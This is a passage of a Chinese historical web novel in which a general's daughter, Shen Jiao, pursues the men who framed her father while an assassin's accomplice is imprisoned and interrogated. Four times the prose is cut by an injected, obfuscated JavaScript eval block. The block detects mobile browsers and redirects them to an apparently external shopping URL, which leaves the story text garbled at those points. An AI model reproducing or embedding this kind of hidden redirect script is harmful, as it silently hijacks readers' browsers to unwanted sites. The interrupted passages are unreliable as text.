芸娘下了马车，便被大理寺的官差带离。 沈皎掀起帘子，望向几人，放下车帘，让车夫调转车头。 回到宅院，沈皎打开芸娘交给她的那封信，沈康部已依照旨意日夜兼程赶往嘉雍关，望公公助之，共谋大计，搜集其罪名，大人在朝中已安排好一切，兵部和刑部届时会有相应的人襄助公公，归来事成后必有重酬。 沈皎字斟句酌将信看完，捏着信，面色愀然。 “姑娘，信中说了什么？” 沈皎放下信:“当年父亲在驰援嘉雍关前，便暗中有人给王振寄来密信，让王振想办法罗织罪名，谋害父亲。” 但沈皎不解的是，这个共谋大计说的是什么，信中的大人是谁，也不知当年兵部和刑部中都有谁参与谋划了这件事，这些人如今又在朝中都处于什么位置。 “姑娘，那我们接下来该怎么办？” 沈皎本以为只要来京找到王振，让他认罪，将他绳之以法，便能为沈父洗冤，不料，诬害沈父的却不止王振一个，甚至还牵扯到了兵部和刑部，案子一下变得越来越错综复杂。 “那黑衣人不惜一切都要得到这封信，应是受到了王振的威胁，先想办法救出芸娘和陆林他们，随后去查那个黑衣人的身份，再另做打算。”沈皎让翠蕊收好信，冷静地道。 王振失了权势，又寄居在寺庙中。身份急转直下，生活窘迫，因此才会铤而走险选择去用信威胁黑衣人。 依黑衣人的行事作风来看，哪怕不为芸娘，也怕是会在拿到信后，灭了王振的口，许诺芸娘，只是顺道而已，芸娘认罪，除了白白搭上一条命，没有任何用处。 沈皎担忧芸娘会出什么事，让翠蕊去城中的集市上买了一些吃的和几床被子，打算去大理寺探监。 马车在大理寺狱前停下，沈皎和翠蕊走上前，对看守的狱卒道明来意，取出银钱偷偷塞到两人手中。 狱卒细细打量一番，检查了两人所带的物品，并未作难，收下银钱，将两人分别带到关押芸娘和陆林的地方。 “探监只有一炷香的时间。” 沈皎道:“多谢官爷。” 牢门被打开后，沈皎携着食盒和被褥走进牢房。 芸娘蜷着肩膀，蹲坐在角落，听到声响，抬起头，不解地望向沈皎。 交易已经结束，不知沈皎已经拿到了信，为何还要前来，她如今是戴罪之身，和她扯上关系并没有好处。 沈皎自顾自将带的被褥放到一旁，打开食盒，取出饭菜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858883|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来时让翠蕊随意买了一些家常小菜，也不知合不合夫人的口味。” “姑娘，这时不该来的。”芸娘望着床上的被子和桌上的饭菜。 “夫人没有食言，我既答应了夫人要送夫人出城，便一定会信守承诺，将夫人救出去，送夫人离开。” 芸娘顿时有些恍惚，总觉得沈皎和她昔日在宫中侍候的那位主子很像，看似宛若一朵需要依附别人才能生存的菟丝花，实则外弱内强，骨子里都透着股韧劲儿。 沈皎见芸娘似有些动容，听进去了她的话，继续道:“我相信夫人的夫君也企盼夫人能坚强的活下去。” 芸娘回想起陈志的话，从地上起身，走到桌前。 沈皎见状，放下悬着的心:“夫人，记得照我之前说的，讲出实情便好。” “说出来又有什么用，姑娘，你若见过如今的世道，便知现今的朝廷有多么腐朽不堪，官官相护，窃弄威权，百姓食不果腹。谁又会为一个身微命贱的贱民出头，去做吃力不讨好之事。” “不试试又如何知道？”沈皎在凉州待得这几年，见惯了生离死别，百姓苦不聊生为一块饼争的头破血流的惨状，比芸娘更了解这个世道，但如今只能先将希望寄于大理寺。若大理寺内也尽是些尸位素餐之人，届时便再另寻出路。 探视时间转眼即到，狱卒来催促沈皎。 沈皎收拾好碗筷，提着食盒，同翠蕊会合，离开了狱中。 刚一出来，便看到了穿着深绯色官服的谢淮。 谢淮面无表情地瞥了沈皎一眼，正欲举步进入狱中。 “见过大人。” 谢淮清冷地嗯了一声，算是回应，说罢，留给沈皎一个冷漠的背影，径直走向狱房。 一阵清香猝不及防闯进鼻尖，沈皎晃了晃神，若有所思地望向那一抹绯色身影，视线追随着谢淮一直到他走进狱中才缓缓收回。 沈皎移开视线，同翠蕊坐上马车，谢淮方才的身影一直在脑中挥之不去，想起日后在京中行事，避免不了要同这位大理寺卿打交道。 “翠蕊，你稍后去打听下这位大理寺卿。” “是，姑娘。” 回到宅院，翠蕊便出去让人打探关于谢淮的事。 谢家在京中可谓是首屈一指的名门望族，找个常年混迹于市井的人打听消息也十分容易。 翠蕊走到街上，一说要打听如今的大理寺卿。 那人一见到钱，二话不说便将翠蕊拉到一条巷子里，将谢淮从头到脚说了个遍，连平日的喜好与时常出门穿什么衣物都未放过。 翠蕊将打听来的消息娓娓道出。 “上一任的大理寺卿得了癫病离任后，现任大理寺卿是定国公世子谢淮，这位谢世子性情冷酷，不苟言笑，办案手段也极为雷厉风行。” 沈皎听罢，回想起谢淮那张生人勿近的脸。她先前听父亲说起过这位定国公，定国公为大周镇守边疆数十载，不幸为国捐躯，为人也颇为仗义豪爽，未曾想，谢淮的性格与其父却大相径庭。 5. 第 5 章 黑衣人逃回一处府宅，轻车熟路来到书房。方一靠近，便听到从屋内传出一道人声。 “大人，那王振虽死，但大理寺已介入此案，若当年之事一旦被查出点什么，必会有不小的麻烦。” 黑衣人踱步进屋内，打断两人的谈话。垂头对着的黑衣男子毕恭毕敬道。 “主人。” “此事我自会让人去处理，你先回去吧。” 说话的蓝衣男子惊惶万状，还欲开口说些什么，却被黑衣男子出声抑止，只得起身拜别。 “是，下官告退。” “事情办得如何了？”黑衣男子漫不经心地抬头觑向黑衣人，问道。 黑衣人将信从怀中取出，递上前。 “属下虽拿到了信，大理寺的人突然赶到，未能将芸娘灭口，还请主人责罚。” 黑衣男子接过信，欲取出里面的信，却发现信封内空空荡荡，什么也没有。 黑衣人瞳孔骤然一缩，未想到，芸娘竟会用假信骗他，慌忙跪在地上。 “属下该死。” 黑衣男子置下信，并未发怒，端起案前的茶气定神闲喝了一口，说出的话却莫名让人不寒而栗。 “王振已死，那封信若落到有心人手中，终归是个祸患，那妇人听到了太多事，不能留。你知道该怎么做。” “是，属下遵命。” 谢淮进入狱中，坐在椅子上，让人将芸娘从狱中提了出来。 芸娘穿着囚服跪地行礼。 “民妇拜见大人。” 谢淮示意身旁的人去取了把椅子过来。 “多谢大人。” “芸娘，本官想听实话。”谢淮语气中隐隐含着一丝威胁之意，将心中的疑问简截问出口。 “那黑衣人到底与你是什么关系？” 芸娘跪在地上，红着眼眶，泣诉道: “大人，民妇坦承。民妇是为一己私欲与黑衣人做了交易雇凶杀了王振，但皆因那王振欺人太甚，屡次强迫威胁于民妇，民妇才不得已而为之，那些人民妇并不认识，陆恩人几人只是为了保护民妇，才会和民妇去了破庙。” 谢淮见芸娘不似撒谎，闻言，听闻芸娘和黑衣人做了交易，紧盯着芸娘，问道: “什么交易？” “那日王振又逼迫民妇去寺庙中服侍，恰巧听到那黑衣人同王振因一封信在争执，还说这封信一旦落到大理寺手中，若当年沈……” “你们先退下。” 谢淮听到沈字，心中一滞，打断芸娘的话，待狱卒与书令史退下，从椅子上站起身，浑身散发着可怖的气息，踱步到芸娘面前。 “当年什么？” “王振与那黑衣人说若当年沈康的案子一旦被翻供，谁都跑不掉。” “那信在何处？”谢淮逼问道。 “信在破庙被黑衣人拿走了。”芸娘颤着声音应答，被谢淮那双沉黑的眸子直直盯着，心里不自觉发怵，说罢，手心已浸出了一层薄薄的冷汗。 谢淮后知后觉察觉到自己的失控和反常，又恢复成先前冷漠淡定的模样，将书令史唤入狱中，让芸娘在供词上画押。 审讯完，回到大理寺，立在后堂，望着地上的尸体，神色冷淡。 “大人，从这些死士身上什么都未搜到。” 谢淮本想从这些死士入手，由此及彼，追查幕后之人，什么都未搜到，便不能通过这些死士，得到任何线索。 “那大人，地上这些尸体？”衙差嗫嚅道。 照以往，尸体应由亲属认领归还，但地上的这些死士，明显不会有人来认领。 “送去乱葬岗。”谢淮淡淡道。 “是。” 另一边。衙差审完陆林几人后，回到府衙。 “大人，那另几人说他们是芸娘请来的护卫，和芸娘供词上所述，并无二致。” 谢淮心不在焉将陆林三人的供词看完，放在一旁。 异日，还未到辰时，沈皎便起了。 接连喝了两日的药，苍白的面色也渐渐红润了起来，白中透红，瞧着总算有了几分生气。 用过晚饭后，翠蕊将买来的饭食放入食盒中。 沈皎从屋中走出，和翠蕊坐上马车，再度来到了狱中，递了些铜钱，狱卒同样没有阻拦，放了两人进去探视。 沈皎走进狱中，放下食盒，见芸娘面色微微苍白，坐在桌前，担忧地问道: “夫人，可是身子不适？” 芸娘摇摇头:“姑娘，我已经按照你说的做了。” 沈皎听出芸娘话语中的恐慌，将手轻轻地覆在她手背上，试图借此抹去她内心的不安。 两人话毕，忽地，牢房外传来一阵脚步声，一个身穿衙差衣服的人打开牢门走上前，对两人道: “夫人，大人命我前来传你去大理寺问话。” 芸娘疑惑地看着面前的衙差:“今日不是问过话了？” 那衙差面上一怔，见状急忙改口。 “此案还有些案情细节需要夫人去大理寺核实。” 芸娘和沈皎心照不宣对视一眼，心知有诈，临危不乱应声，出声答允:“好，那请官爷先稍等片刻。” 沈皎假意和芸娘去收拾碗筷，暗中细细观察着四周，寻找着防身之物。 牢房中四面密封的严严实实，一眼扫过，除了木床上的铺着的草荐，唯一能逃出生天的地方便是身后的牢门。 面前的杀手应是同之前的黑衣人是同一伙的，只能寄希望于附近巡逻的狱差，听到异响后，会及时赶过来。 沈皎将手中的碗筷和食盒当做武器转身掷向杀手，制造出响动，趁那杀手还未反应过来，拽起芸娘就往门口跑。 “衙差”见伪装被识破，两人欲逃跑，拔剑劈落飞来的碗筷和食盒，近身上前挡在牢门前，狠狠一脚踹开沈皎，举剑刺向芸娘。 沈皎五脏六腑都似被踹移了位，吐出一口鲜血，眼前发黑，眼皮沉重地阖动几下，昏迷了过去。 不远处的衙差听到异常，忙持刀赶来。“有人劫狱，快去禀报大人。” 一侧的狱差忙前去大理寺禀报谢淮，一众狱差持刀冲进狱中，同假扮狱差的杀手缠斗在一起。 芸娘俯身轻轻扶起沈皎，惊惶无措地喊道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858884|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘，姑娘，你怎么样？” 沈皎躺在地上，任芸娘如何呼唤，俱一动不动，没有回应。 大理寺离狱中并不远，闻言，谢淮便立刻赶来了狱中。 杀手孤立无援，寡不敌众，很快便落败被擒。 谢淮神情冰冷地望着地上的杀手，忆起那日破庙中那些服毒自尽的死士，出声防患于未然。 “用布条塞住他的嘴，以防他服毒自尽。” 杀手被制服，芸娘扭头看向谢淮，泣声求救:“大人，求您救救姑娘。” 沈皎躺在地上不省人事，不知方才伤到了何处，面无人色，情况瞧起来格外糟糕。 谢淮垂眸，俯身伸出骨节分明的手指，探了探沈皎的鼻息。 “去请个大夫来。” “是。” 医馆距此处仍有些路途，牢中阴湿寒凉，不宜伤者久待，天色渐晚，若一路上移动颠簸，回去途中也难免不会又变生什么意外。 谢淮道:“将她抬上外面的马车，先去府衙。” 牢房内除了谢淮一个身强体壮的男子，便只有两个狱卒，男女授受不亲，这般唐突，恐会对沈皎的名声有所影响，听到谢淮的话，两个狱卒迟疑片刻，为难的看向谢淮。 “大人，这……” 谢淮站在原地，置身事外，丝毫没有要上前相帮之意，黑眸沉沉盯着沈皎，望了半晌，收回视线，声音清冷。 “事急从权，想必这位姑娘醒来也不是不明事理之人。” 说罢，便头也不回的转身离开。 牢门打开后，翠蕊瞥见狱卒抬着沈皎往出走，瞳孔一缩，忙拎起食盒满脸焦急的跟了上去。 牢狱深处，杀手四肢被缚在木桩上，牙中的毒药也已被取了出来。 谢淮支走狱卒，面无表情走上前，究问道: “你幕后的主子是谁？当年沈康的案子你都知道些什么？” 暖光从头顶的窗户投进狱中，谢淮逆光而立，表情晦暗不明，无端给人一种森冷阴寒之感。 杀手望着墙上挂着的各色各样的刑具和谢淮，吞咽了口唾沫，颤着声音，嘴硬道:“什么沈康？我不认识。也不知道。” 谢淮见面前的人不愿开口，不再浪费时间，垂眸掩去面上的神情，唤人进来。 狱卒踱步进来，提起浸在盐水中的长鞭，缓缓走向杀手。 谢淮冷声叮嘱:“别打死了，问出他背后的主子是谁。” “是。”狱卒应声。 昏暗的长道上，一声声撕心裂肺的喊声和鞭子落在身体上的闷响，不断在狱中回荡。 翠蕊跟着上了马车，见沈皎昏迷不醒，急得哭了起来。 马车在大理寺停下，两个狱卒将沈皎从车上抬下，安置在后院的一处空房里。 少顷，去请大夫的狱卒回来了。 大夫细细为沈皎把着脉，诊毕。 “这姑娘身子底子弱，又被外力伤及心肺，以后得好好将养，少劳心费神，老夫先开些活血化瘀的药，调理上三五个月，应没有什么大碍了。” “多谢大夫。”翠蕊拭了拭泪水，连忙道。 6. 第 6 章 大夫离开后，沈皎仍在昏迷，跟前不能离人，翠蕊将药方递给身后的狱卒，多给了他些银钱，央托他去药铺抓药，衙差收下银钱，倒也未拒绝。 朱霞漫天，透过镂空窗户，映在沈皎苍白脆弱的面庞上，衬得沈皎那张本就没有什么血色的脸更加憔悴。 翠蕊泪眼婆娑打来水，浸湿帕子，轻轻拭去沈皎嘴角的血渍，心疼不已。 “姑娘，你要是出了什么事，我可怎么跟九泉之下的将军交代。” 翠蕊将熬好的药端进屋内，喂沈皎喝完，置下碗，薄暮冥冥中，不知不觉趴在床边睡着了。 河倾月落，沈皎缓缓睁开双眸，眸中透进一丝光亮，扭头瞥见床边的翠蕊，掀开被子忍着胸口的疼痛，蹑手蹑脚坐起身，解下身上的披风，盖在翠蕊身上。 床上传来窸窣的响动，翠蕊被惊醒，红了眼睛。 “姑娘，你终于醒了。” “别担心，我没事。” 沈皎说完，靸着鞋，警惕地打量着四周。 “我们现在在何处？” 翠蕊抹了抹脸上的泪:“昨日姑娘你吐了血昏迷不醒，情况瞧起来十分凶险。谢世子便让人先将你送到大理寺暂且休养。” 沈皎闻言，稍稍放下心，这次的刺杀恰好被她遇见，还能襄助一二，若下次幕后之人再有动作，却不一定能赶得及，她得尽快救出芸娘，杜绝后患。 方欲站起身，胸口却传来一阵撕裂般的疼痛。 翠蕊知沈皎心中记挂芸娘的安危，劝道:“姑娘，大夫说你伤到了心肺，得三五个月调养，才能痊愈，还是先在这里休养待恢复些再做打算。” 先前来京时在路上患得风寒还未痊愈，旧伤未愈又添新伤，这般下去，身子定是吃不消的。 沈皎收力，从新坐回到床上，望着窗外的丹棘，扯了扯覆在腿上的被子，掩嘴轻咳一声，让翠蕊出去买了一些汤点，当作谢礼，给谢淮送了过去。 须臾，翠蕊归来。 “姑娘，谢世子还未来大理寺办案，我让衙差将汤点放桌案上了。” “派去的人可曾归来？” 黑衣男子百无聊赖从琳琅满目的博古架上取下一个玉杯，漫不经心地持在手中把玩。 派出去的杀手足足一日都未回来复命，刺杀芸娘的任务多半是失败了。 “未曾。”黑衣人道。 “他丧命闭嘴了还好，若一旦落到大理寺手里，便是祸患。” “那些人的亲人皆在我们的控制之下，他们若想让自己的亲人活命，便不敢不衔命。” 话是如此说没错，但人事无常，那大理寺的牢狱也不是吃素的，万一扛不住刑罚，说出什么不该说的，谁又能说得准。 “让人去刑部将韩庆请过来，你这段时间暂且就先待在别庄，别出来在京中抛头露面了。” “是。” 天气愈渐寒凉，青堂瓦舍前，树丫已近干秃，夹道旁纷纷扬扬铺了一层萧瑟的枯黄。 谢淮伸手拂落肩上的落叶，踏进大理寺，瞥见桌上的汤点，不明所以。 门外的衙差解释:“这是那位昨晚的姑娘差丫鬟送来的。” 谢淮移开视线，却并未有食用的意思，执起桌旁的卷宗，批阅了一会，门外有人来报，说狱中的杀手要见他，随后放下手中的卷宗，回到狱中。 一股浓厚的血腥味扑面而来，谢淮觑向面前鲜血淋漓的人。 杀手听见脚步声，受过一轮酷刑后，再也没了之前的傲骨，吃力地抬起头，乞哀告怜:“大人，求求您。我父母皆在一年前逃难时饿死了，我妹妹还在那些人手中，我也是为能赚钱混一口饭吃，才做了这行当，只要大人肯答应放我一条生路，我愿意供出幕后主使。” 谢淮无动于衷，语气冷漠:“你以为你还有资格同本官讨价还价？你杀人未遂事牵多桩命案按律已是死罪，你若说出幕后主使和沈康一案的有关线索，本官或许还酌情能让你留个全尸。” 杀手悲凄控诉:“大人，我知我罪有应得。但我也是为了活命没法子，才犯下大罪，还请大人开恩，大人若不答应我的条件，我一个字也不会说。” 谢淮不以为意，有一搭没一搭道:“本官听说从前朝流传下了一种刑罚，叫弹琵琶。将人按倒在地，控制手脚，脱去衣物露出肋骨，用锋利尖刀在肋骨上用力、反复“弹拨”，人肋骨上方皮肉便很快会被刮烂，露出白骨，往往令人哀声震壁，血肉溃烂，任何人在这等酷刑之下都会求生不得求死不能。” 杀手听罢，吓破了胆，眼中流露出深深的恐惧，身子也忍不住颤抖起来。 谢淮唤来身后的衙差，作势欲行刑。 “等等，别，别，我说，我说……” 谢淮伸出手，示意两人退下，走上前，黑眸定定望着眼前吓得魂不附体的人。 “幕后之人是谁？当年沈康的案子你都知道些什么？” 杀手不敢再隐瞒:“我只偶然听到我们效忠之人姓韩，沈康的事情我真不知道。” 谢淮让人将杀手关进死牢，转身离开狱中，回到大理寺后，便让人持着令牌前往吏部查阅甲历。 吏部尚书看见谢淮的令牌，不敢怠慢，忙将人请入衙署内，让人前往甲库调阅甲历。 甲历上按姓氏记录了京中由小到大入仕官员的出身、籍贯、履历、考绩及三省的拟官、解官、委官等。 检索了一下午，将所有甲历披览完抄录下来后，几人便回了大理寺。 案头的汤点一口未动，早已变得冰凉。谢淮执着甲历，面色静穆，览完后，让衙差放出风声说闯进狱中试图杀人灭口的杀手已被擒住，欲借此窥探各方的反应，见机而作，揪出幕后之人。 大理寺毕竟是京畿重地，人拨来报往，长久滞留在此多有不便，在床上休养了一天，堪堪能下床走动，沈皎便吩咐翠蕊去让车夫套马车。 车夫备好马车，沈皎在翠蕊的搀扶下，小心翼翼地往出走，刚蹀躞出院子，便与迎面走来的谢淮打了个照面，敛住步子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858885|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，出声行礼:“拜见大人。” 谢淮见沈皎似要离开，望着沈皎苍白的面色，客套道: “姑娘身上的伤可好些了？” “休养了一日大好了，多谢大人挂念收留。” 谢淮寒暄完，收回视线，不露声色地举步离开。 沈皎上了马车，马车在路上平稳行驶。 回到租住的宅院，翠蕊将烧好的碳火端进屋中，阖住门窗。 寒冷的屋子热气腾腾，渐渐暖和了起来，沈皎苍白的面色也渐染上了一丝绯色，瞧着有了几分人气。 翠蕊踱步回床前，觑见沈皎执着芸娘给的那封信在沉思细想，不敢上前惊扰，轻手轻脚合上门，离开了屋子。 沈皎将此案细想一番，忧上心头。 此案虽由大理寺审理，刺杀芸娘的凶手已经被擒，一旦幕后主使被供出，最终却得由刑部复核和执行，刑部同幕后之人过从甚密，若暗中在此案上做些手脚，芸娘便危险了。 她有伤在身，暂时不便出门，置下信，唤了翠蕊进来。 “姑娘，怎么了？” “明日你去探听下消息，再请个诉师，写上两份诉状来。” 翠蕊不知所以:“姑娘，写诉状做什么？” 沈皎解释:“芸娘的案子若生变故，也好有个准备。” 翠蕊瞬时反应过来，沈皎是欲敲登闻鼓，去宫外冒险为芸娘喊冤。 “姑娘，此案还未审结，非无转圜之地，你还受着伤。” 先前未能依约救出陈志已是有愧，沈皎自也是希望诉状不会被用到，但终究不敢将所有的希望寄寓他人，拿芸娘的命冒险。 “我不要紧，你先去找诉师。” 翠蕊在心底挣扎片刻，还是去了。 谢淮携甲历回到国公府后，唤来暗卫，命暗卫盯着甲历上的几人。 管家走进书房，瞥见谢淮，欣喜道:“世子，您可回来了，老奴都将饭菜热了好几遍了，您若再不回来，老奴可就要差人去公廨唤您回来了。” “嗯。”谢淮淡淡应了一声。 管家忙让人将温好的饭菜端上来，摆在桌上，面似靴皮的老脸上，满是惆怅。 “唉，世子。您都快过了弱冠之年了，那沈小姐至今也没个音讯，您总不可能一辈子都不娶妻吧。” 谢淮执着筷子不声不响地吃着菜，不动声色，任由面前的人唠叨。 “您说您一天到晚总待在大理寺，休沐连府中也不回，也不顾自个身子，再不找个人管管，这样下去身体怎么撑得住……” 谢淮沉默着，动筷的速度暗暗却快了许多，用完饭后，不等面前人将话说完，起身便离开了书房。 谢淮已至弱冠之年，京中的权贵子弟，到谢淮这般年纪，不说妻妾成群，通房丫鬟也有一两个了，可偏谢淮硬是一根筋，不纳妾不娶妻，至今身边连一个贴心人也没有。 福管家看着谢淮离去的身影，默默在心底无奈叹了口气，唤人进来收拾走碗筷。 7. 第 7 章 翌日晌午，翠蕊揣着写好的诉状回来了，递与沈皎，仍觉此举太过冒险。 “姑娘，不如我们在想想其他法子。” 沈皎服完药，心知翠蕊是因她的安危，才有此忧，气定神闲地用帕子拭了拭嘴角的药渍，搁下碗。 “不入虎穴焉得虎子，我们不只为芸娘，也是为陆林他们，更何况芸娘现已无人可依，若连我们也坐视不理，此案便只能冤沉海底。” 翠蕊未说动沈皎，只好无奈妥协。 今日难得休沐时，谢淮未去公廨，福管家心花怒放，匆忙让后厨多烧制了几道菜，欲打算再不屈不挠地劝说谢淮一番。 “世子，您洗漱完了吧，老奴给您送早膳来了。” “进来吧。”屋内传出谢淮清冷的声音。 福管家推开门，待伺候谢淮洗漱的下人退出去，布好菜，喜笑盈腮地在一旁服侍，正欲开口，一道声音将他的话适时打断。 “主子。” 福管家见两人有事要商谈，在谢淮用完饭后，让人撤下饭菜，转身离开。 “昨日盯着的那些人可有异样？” “暗卫今早来报，其他的几人一直安分守己待在府中没什么异常，那刑部尚书离开尚书府后，在丞相府内一直待到了半夜才忐忑不宁的出来，两人具体在府里密谈了什么，丞相府守卫森严，处处都有人把守，暗卫只能在外面盯着，未敢靠得太近。” 谢淮目光微敛，皱了皱眉，刑部尚书韩庆本是一屡试不第的落魄秀才，昭定八年，及第成名，于永州就任时政绩卓著，上一任刑部尚书离任，尚书之位虚悬，因在朝中有个当丞相的远亲，一人得道鸡犬升天，得了韩丞力荐，从一个小小的九品县尉，扶摇直上，补了刑部尚书的缺，去年选秀中，女儿又被钦点为妃，一时在朝中风头无两。 虽未窥听到交谈的内容，两人开始自乱阵脚，目的也已达到。 “世子，韩丞如今在朝中深得陛下信任，一人之下万人之上，他昔日能将张相拉下相位，可见城府之深，且依附他的党羽众多，要扳倒他绝非易事。” 谢淮从未想过眼下便能将韩丞拉下马:“先继续让人盯着，有异常随时来报。” “是，属下告退。” 晌午，一辆华丽的马车停在国公府门口，从车上走下一个手持拂尘身着蓝衣的年轻太监，太监身侧的禁卫到门口道明来意。 下人见状，忙入府中禀报。 谢淮见宫中来人，出了屋子，到门前才发现来人是如今圣上身边的红人徐公公。 徐进谄笑着道:“世子，奴才特来传陛口谕，请您进宫一趟。” 谢淮眸子一沉，一头雾水，试探道:“徐公公，可知陛下是因何事要唤我进宫？” 徐进先前在宫中还是个卑不足道谁都能踩上一脚的小太监时，没少受王振的腌臜气，对其恨之入骨:“奴才先跟世子交个底，韩相今儿一早进了宫，给陛下送了一碗酸枣仁汤，听着事情，似是和王振有关，王振虽说当初陛下一怒之下将其赶出了宫，但终究相伴多年，还是有情分在的，睹物思人听他惨死，便发了怒。” “多谢公公告知，劳烦公公先在此稍等片刻，容我回府换身衣服。” 景惠帝与定国公乃莫逆之交，对谢淮的偏爱宫中众人谁人不知，徐进哪里敢让谢淮如此客气:“世子不必客气，咱家在这等着世子便是。” 谢淮回屋换好官袍，踅回坐上马车。 马车通衢越巷在宫门前停下，两人穿过重重宫墙来到一处巍峨的宫殿前。 “陛下，此案该交由刑部哪位大人协同审理，还请陛下示下。” “此事爱卿拿主意便好。” 徐进蹑手蹑脚走进房内，恭敬地对着两人行了一礼：“陛下，谢世子来了，正在殿外候着。” 御书房内景惠帝穿着明黄的龙袍面色憔悴地皱着眉坐在案前，听到徐进禀报后微微颔首："传他进来吧。" 谢淮随着徐进走进御书房，不露声色地对着不远处的明黄身影行了一礼。 “臣拜见陛下。” 景惠帝放下手，掀眸望向谢淮，见谢淮身子瞧着又比先前消瘦了些。 “赐座，吩咐御膳房熬一碗人参乌鸡汤来。” 房中的小太监取来椅子置在谢淮身后，闻令去了。 “多谢陛下。”谢淮坐下，开口道:“不知陛下唤臣来所为何事。” “朕听韩卿说，王振死在了一座寺庙里，凶犯是先前得了恩旨离宫的宫婢，案子至今还未有个结果？” 谢淮如实道:“是，但此案另有隐情……” 话还未说话，景惠帝按着太阳穴却已没有兴致往下听了。 “王振在宫中贴身服侍朕多年，没有功劳也有苦劳，此案便着大理寺联合刑部一同审理，早日审出个结果出来。” 谢淮闻言只得将未出口的话咽回腹中，领旨应是。 “臣先告退。”一旁的韩丞达到目的，出声告退。 小太监端着汤进来，呈给谢淮。 谢淮从殿内出来，瞥见一抹紫色的身影，似在特意等他，脚下步子未停。 “世子殿下，留步。”韩丞出声将谢淮唤住。 “韩相，可有事？”谢淮敛步，语气疏离。 “物极必反，本相是想奉劝世子殿下一句，可莫要为了不相关之人引火烧身。”韩丞旁敲侧击，意有所指道。 这句话是提醒亦是警告，谢淮面色平静，盯着面前的人，淡淡道：“既如此，本官也送相爷一句话，天网恢恢，疏而不漏。” 两人四目相对，谁也未先退缩移开视线，韩丞见谢淮要插手到底，嘴角浮起一抹嘲讽的弧度，收回视线转身离开。 谢淮面不改色，对韩丞的威胁无所畏忌，离宫后去了一趟狱中，回到大理寺让狱差从案牍库中整饬好此案的卷宗，又将判事厅腾出一处地方。 后晌，刑部尚书韩庆便带着两个主事来了。 “给几位大人看茶。”谢淮做足表面功夫，头也不抬地翻阅着手中的卷宗，眉眼寡淡。 “微臣多谢世子殿下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858886|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩庆声音冷静，垂着头，不敢正视谢淮。 “本官已让人将判事厅腾出了一处地方，以供几位大人办案之用。稍后便会命人将此案的卷宗送过去。” “有劳世子。” 两个衙差打开牢门，望着芸娘：“芸娘，上头有位大人要传你问话。” 芸娘闻言站起身，整理了下散乱的发髻，跟在两个狱卒后面，走出狱中。 韩庆望着芸娘，眼底浮现出一抹冷厉之色。 “芸娘，你可知罪。” 从这句讯问中，芸娘便知晓眼前的人不是来审案，而是别有企图来逼她认罪灭口的。 芸娘抬起头，了无惧色，掷地有声道:“王振恶迹昭著，死有余辜，但人并非民妇所杀，还请大人明鉴。” 韩庆怕这般下去谢淮察觉出些什么，只想了解这桩案子，让芸娘尽快认罪:“芸娘，据卷宗上所写，你曾为一己之私雇人行凶。你若再不认罪，休怪本官用刑。” 芸娘目光坚定:“人非我所杀，纵然大人屈打成招，我也是不会认得。” 韩庆未料到芸娘竟是块难啃的硬骨头，便欲动刑，下令道: “本官看你是不见棺材不落泪，用刑。” 芸娘到底怎么说，也是个手无缚鸡之力的弱女子，狱卒犹豫的看着韩庆:“大人，这……” 韩庆见狱卒不动手，似是有所顾忌:“本官奉旨协同大理寺审理此案，若出了事有本官担着。” 沈皎正在房中看书，陡然间一阵急切的脚步声响起，屋门从外被推开。 她抬起头，看向门口，翠蕊一脸焦急地提着食盒从门口疾步走进来。 “不好了，姑娘。” 沈皎蹙起眉，望着翠蕊惊慌的神色，置下书。 这两日，沈皎还是让翠蕊如之前一般，日日往狱中送饭，一来既能探望芸娘，得知芸娘在狱中的情况，二来案子若有最新进展，打探起消息来也方便。 翠蕊这般手忙脚乱，只能说明芸娘出事了。 沈皎抬头看着翠蕊，等着她的下文。 “我方才去狱中给芸娘送饭，谁知狱卒却拦着不让进，使银子也无用，打探一番后才知，说是陛下命大理寺同刑部彻查此案，不允许任何人进去探监。” 沈皎敛眸，刑部果真派人来参与到了此案中，企图让芸娘顶罪，欲盖弥彰，掩藏他们的罪行。 